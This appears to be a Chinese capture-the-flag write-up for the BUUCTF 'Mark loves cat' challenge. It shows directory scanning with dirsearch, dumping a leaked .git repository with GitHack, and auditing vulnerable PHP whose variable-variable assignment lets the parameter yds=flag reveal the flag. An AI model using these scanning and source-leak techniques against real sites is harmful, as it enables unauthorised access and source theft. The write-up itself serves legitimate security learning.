文章目录
- 一、工具下载
- 二、Mark loves cat
- 解题感悟
一、工具下载
克隆dirsearch仓库:
git clone https://github.com/maurosoria/dirsearch.git
下载 githack工具
git clone https://github.com/lijiejie/GitHack.git
二、Mark loves cat
用dirsearch扫描目录,看看有没有信息泄露
python dirsearch.py -u "目标URL"
缺少依赖,那咱们先手动安装依赖
dirsearch 使用 requirements.txt 文件来管理依赖项,我们安装其依赖
pip install -r requirements.txt
依赖搞定后回来继续扫
python3 dirsearch.py -u "http://d31f8e0b-527e-4f00-88c4-cfdebc82650f.node5.buuoj.cn:81/"
我淦一堆什么玩意儿…咱们限制一下再进行扫
python dirsearch.py -u "http://d31f8e0b-527e-4f00-88c4-cfdebc82650f.node5.buuoj.cn:81/" -t 1 --timeout=2 -x 400,403,404,500,503,429
- python .\dirsearch.py:使用 Python 解释器运行 dirsearch.py 脚本。
- -u http://d31f8e0b-527e-4f00-88c4-cfdebc82650f.node5.buuoj.cn:81/:-u 参数用于指定目标 URL。在这里,目标 URL 是
http://d31f8e0b-527e-4f00-88c4-cfdebc82650f.node5.buuoj.cn:81/。 - -t 1:-t 参数用于指定线程数。在这里,-t 1 表示使用单线程运行扫描。
- –timeout=2:–timeout 参数用于设置每个请求的超时时间(以秒为单位)。在这里,超时时间设置为 2 秒。
- -x 400,403,404,500,503,429:-x 参数用于排除特定的HTTP状态码。这里,400, 403, 404, 500, 503, 429 状态码的响应将被忽略。
可以发现存在git泄露。既然泄露了我们可以直接通过githack下泄露的源码
python GitHack.py http://d31f8e0b-527e-4f00-88c4-cfdebc82650f.node5.buuoj.cn/.git/
把这俩文件瞅一瞅
找到了,咱们代码审计一下
<?php
// 包含 'flag.php' 文件的内容
include 'flag.php';
// 定义变量 $yds 并赋值为字符串 "dog"
$yds = "dog";
// 定义变量 $is 并赋值为字符串 "cat"
$is = "cat";
// 定义变量 $handsome 并赋值为字符串 "yds"
$handsome = 'yds';
// 遍历 $_POST 超全局数组
foreach($_POST as $x => $y){
// 使用变量变量,将 POST 请求参数名作为变量名,参数值作为变量值
$$x = $y;
}
// 遍历 $_GET 超全局数组
foreach($_GET as $x => $y){
// 使用变量变量,将 GET 请求参数名作为变量名,并将该变量赋值为另一个变量(变量名是 GET 请求参数值)
$$x = $$y;
}
// 再次遍历 $_GET 超全局数组
foreach($_GET as $x => $y){
// 检查是否存在 GET 参数 'flag' 且其值等于当前遍历的键名,并且键名不是 'flag'
if($_GET['flag'] === $x && $x !== 'flag'){
// 结束脚本并输出 $handsome 变量的值("yds")
exit($handsome);
}
}
// 如果 $_GET 和 $_POST 中都不存在 'flag' 参数
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
// 结束脚本并输出 $yds 变量的值("dog")
exit($yds);
}
// 如果 POST 请求参数 'flag' 的值为 'flag' 或 GET 请求参数 'flag' 的值为 'flag'
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
// 结束脚本并输出 $is 变量的值("cat")
exit($is);
}
// 输出 'the flag is: ' 及 $flag 变量的值(从 'flag.php' 文件中引入的内容)
echo "the flag is: ".$flag;
我们可以发现当$ _GET[‘flag’] === ‘yds’,并且 $ x(也为 ‘yds’)不等于 ‘flag’,所以条件满足,exit($handsome) 执行,输出 $handsome 的值为 ‘yds’。所以我们可以直接yds=flag
试一试
查看源码
小小flag,拿下!
解题感悟
思路不复杂,但是前期工作安装软件有点麻烦。对了,执行脚本的时候需要进入相应的路径下。